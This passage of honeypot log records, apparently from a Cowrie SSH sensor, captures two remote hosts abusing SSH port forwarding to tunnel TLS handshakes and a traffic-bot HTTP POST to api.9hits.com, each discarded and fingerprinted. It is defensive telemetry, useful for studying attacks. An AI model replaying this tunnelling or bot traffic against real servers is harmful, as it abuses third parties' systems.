b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x06~\\x1c\\xe4\\xa0\\x80G\\xa4\\xf9\\xbf_\\x1ct\\xab\\xf9^\\xf9\\x92l\\t\\x1f\\xfd\\xc9\\x07\\xca\\xf3\\x10\\x8e\\x94\\xa5\\xb0\\x88 D\\xc5uF\\x8e\\x03\\x97\\x9e7+l\\xe4\\xa8\\xb1Uz\\x87c\\x01\\xfc)Nf\\xa2\\xf7-\\xaf\\x9b\\xfb2g\\x14\\x00 **\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 (+\\xcf\\xe3\\xd2\\xbf\\xd0\\xe4\\xde\\x90oW\\xcb\\x94\\xd3s\\xf3\\x9c?\\xf4H\\xc9\\xf1\\x04-q\\x045\\x8d.\\x99'\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.153102Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.704001Z","session":"310ce21bb679","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.708336Z","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.710887Z","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.775039Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Un54Z3MlRDJ9ZDA%2BazxwTQ%3D%3DwZ8hwUK9Z8feungJQhG%2BXurk65%2FNVEJx0cPFlFdDcPu4kKfOZCyd%2FhLSUdVBb5wMZq29ha7Wry%2FWm6fYTWVy2MB0pQEx3LJsObEtvDl55l060kj%2FIlpi7nvzPkwzZOzIARRkbmHUf6ovV5cEoh%2BtKv7%2Fn%2B9HPGqshzRs%2BrqWSzsLms%2F0bAoQpZry4f1Yclwb6BLP4MSKLKz4XIrCgComFy1VhQ1YbXSW5yg2n4bi9UNHUPJQKGjPlX0I7nrfrtchGaSFYW6fARS7%2FBHDCDM5Jv1QkLQ5CAhTUySop9isuZmNDCCu6%2BIsE8A%2FxIfOEPowKgTXWxkyuYOsmmZA0C3wfRkd6HnVCf9QhwnmR69tsRP9%2Fwak4VmdSyLid4Q3kEFutN5rHWY9aAOf%2FdLPteiASf6uknr%2BF6UAUzSlfsCe9TCZwNrpkautZwsgOatZXBdEky18XdhLXx6Is8sPQVrHIuHMhir9okdJ4qKxARSx7VSaLTZdWqWHMo%2FsuyZ%2Bes2%2BvavlaSSKjRhMwn7F2OZOUVSHdLH2F0A6CE9lxJFjiID0oe3k2u%2FWlsj5dHGebZ1arz0cF92XvkIY69Mu%2Fspfe5%2FttdDiLCj2NXV0DfpZA%2BLvyUKqhvewv7vlokD%2BHK6BPjMiVQiIzD%2FglDdkxdizADO5BcUkArKt0UiUwcPGPmWnsiTvz6oIZV%2FR2C%2B1Z3u%2BbJVb9ZvlZHUN8BEeMFV%2FqlQzZw28OKAQJVFAmbPVLumhFQwRw%2BdS1BuazlzEaYMM260WgGowyYjprxraMK8VV99dIn1BvB60GOqT4kEXHBjzSttbjYo8wFnc10EuClomAosINfFr1uZRC0LTpkApJeclOehOWuA5j8ibsvgTCipBr%2FSDzO%2FZ9YoEHDEBfqcD1ZARN%2FGmy3n7rPXc446yFnPceWsPEw4HIQhVVaklCJXABprEmlRRzt7R9E6rfKyLprTsiPxJhnqp%2BXuff7P65sN1YZXkqZwuiLOqPbyPuUFxHXUtVfwZt4s1fbdQfpW1WbsLKDQTCYHTOJm01NIPuZeRQBzy%2BLNCyjaWr8mlkw31dc%2FVgbAx0FYX2ahBEJ8n'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15\\r\\nConnection: keep-alive\\r\\nContent-Length: 1192\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=Un54Z3MlRDJ9ZDA%2BazxwTQ%3D%3DwZ8hwUK9Z8feungJQhG%2BXurk65%2FNVEJx0cPFlFdDcPu4kKfOZCyd%2FhLSUdVBb5wMZq29ha7Wry%2FWm6fYTWVy2MB0pQEx3LJsObEtvDl55l060kj%2FIlpi7nvzPkwzZOzIARRkbmHUf6ovV5cEoh%2BtKv7%2Fn%2B9HPGqshzRs%2BrqWSzsLms%2F0bAoQpZry4f1Yclwb6BLP4MSKLKz4XIrCgComFy1VhQ1YbXSW5yg2n4bi9UNHUPJQKGjPlX0I7nrfrtchGaSFYW6fARS7%2FBHDCDM5Jv1QkLQ5CAhTUySop9isuZmNDCCu6%2BIsE8A%2FxIfOEPowKgTXWxkyuYOsmmZA0C3wfRkd6HnVCf9QhwnmR69tsRP9%2Fwak4VmdSyLid4Q3kEFutN5rHWY9aAOf%2FdLPteiASf6uknr%2BF6UAUzSlfsCe9TCZwNrpkautZwsgOatZXBdEky18XdhLXx6Is8sPQVrHIuHMhir9okdJ4qKxARSx7VSaLTZdWqWHMo%2FsuyZ%2Bes2%2BvavlaSSKjRhMwn7F2OZOUVSHdLH2F0A6CE9lxJFjiID0oe3k2u%2FWlsj5dHGebZ1arz0cF92XvkIY69Mu%2Fspfe5%2FttdDiLCj2NXV0DfpZA%2BLvyUKqhvewv7vlokD%2BHK6BPjMiVQiIzD%2FglDdkxdizADO5BcUkArKt0UiUwcPGPmWnsiTvz6oIZV%2FR2C%2B1Z3u%2BbJVb9ZvlZHUN8BEeMFV%2FqlQzZw28OKAQJVFAmbPVLumhFQwRw%2BdS1BuazlzEaYMM260WgGowyYjprxraMK8VV99dIn1BvB60GOqT4kEXHBjzSttbjYo8wFnc10EuClomAosINfFr1uZRC0LTpkApJeclOehOWuA5j8ibsvgTCipBr%2FSDzO%2FZ9YoEHDEBfqcD1ZARN%2FGmy3n7rPXc446yFnPceWsPEw4HIQhVVaklCJXABprEmlRRzt7R9E6rfKyLprTsiPxJhnqp%2BXuff7P65sN1YZXkqZwuiLOqPbyPuUFxHXUtVfwZt4s1fbdQfpW1WbsLKDQTCYHTOJm01NIPuZeRQBzy%2BLNCyjaWr8mlkw31dc%2FVgbAx0FYX2ahBEJ8n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.778121Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.783201Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\x9f\\x97\\x96\\xaf2\\xe1Q\\xe0\\x1d\\xcf\\xb6\\x05S\\xe9o~\\xf4&\\x01\\x9a\\xd3C\\xfc\\x0c.y\\xa9\\xc0E\\x85\\x8a \\xe7\\x0e\\x9b\\xb5\\xe7\\xf6g\\xf1\\xeb\\x125\\xea\\xd12\\xdc\\xfd\\x97\\xa8\\xfeX,\\x1e\\xde\\xde`E\\x91$\\xf1\\x96Od\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd2\\x85\\xda\\xdf\\xfb)\\xe3\\xfe\\xdcT\\t\\x8f\\xbd\\x0f\\xc3+\\x92\\x9d\\xbc~\\x84\\xf3<\\xbb\\xb1\\xdbo\\xa5~5S7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x15\\x9f\\x97\\x96\\xaf2\\xe1Q\\xe0\\x1d\\xcf\\xb6\\x05S\\xe9o~\\xf4&\\x01\\x9a\\xd3C\\xfc\\x0c.y\\xa9\\xc0E\\x85\\x8a \\xe7\\x0e\\x9b\\xb5\\xe7\\xf6g\\xf1\\xeb\\x125\\xea\\xd12\\xdc\\xfd\\x97\\xa8\\xfeX,\\x1e\\xde\\xde`E\\x91$\\xf1\\x96Od\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd2\\x85\\xda\\xdf\\xfb)\\xe3\\xfe\\xdcT\\t\\x8f\\xbd\\x0f\\xc3+\\x92\\x9d\\xbc~\\x84\\xf3<\\xbb\\xb1\\xdbo\\xa5~5S7\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n**\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.785843Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.51","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.873631Z","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.932373Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81>GB\\x05\\xd8e\\xcbL)F^s\\xc8\\x965\\xbf\\xc8\\x1fs\\x01\\xe7\\xc6\\x11\\xaf\\x88\\xdd\\xf9,z%\\xa1 \\xf7\\xf4yp\\xa0>v\\xc4\\xbe\\x0b\\x8d\\xc6\\xc97\\x1cQ\\xe8S:\\x11\\xad\\xd8\\xccSBm)\\xb9\\x16!\\xb0\\xcc\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f9\\xb7\\x91\\xd8ha\\x15\\xc4=ze\\x02F\\x82,4\\x80\\xfd6O\\x9e\\x97\\xda\\xd3\\xa0\\xc0?\\xb5\\xcd\\x8f1\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x81>GB\\x05\\xd8e\\xcbL)F^s\\xc8\\x965\\xbf\\xc8\\x1fs\\x01\\xe7\\xc6\\x11\\xaf\\x88\\xdd\\xf9,z%\\xa1 \\xf7\\xf4yp\\xa0>v\\xc4\\xbe\\x0b\\x8d\\xc6\\xc97\\x1cQ\\xe8S:\\x11\\xad\\xd8\\xccSBm)\\xb9\\x16!\\xb0\\xcc\\x00\"**\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x8a\\x8a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x8a\\x8a\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8f9\\xb7\\x91\\xd8ha\\x15\\xc4=ze\\x02F\\x82,4\\x80\\xfd6O\\x9e\\x97\\xda\\xd3\\xa0\\xc0?\\xb5\\xcd\\x8f1\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.935216Z","src_ip":"23.175.50.51","session":"423abfafc64b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:52.983838Z","src_ip":"113.164.152.20","session":"310ce21bb679","protocol":"ssh"}
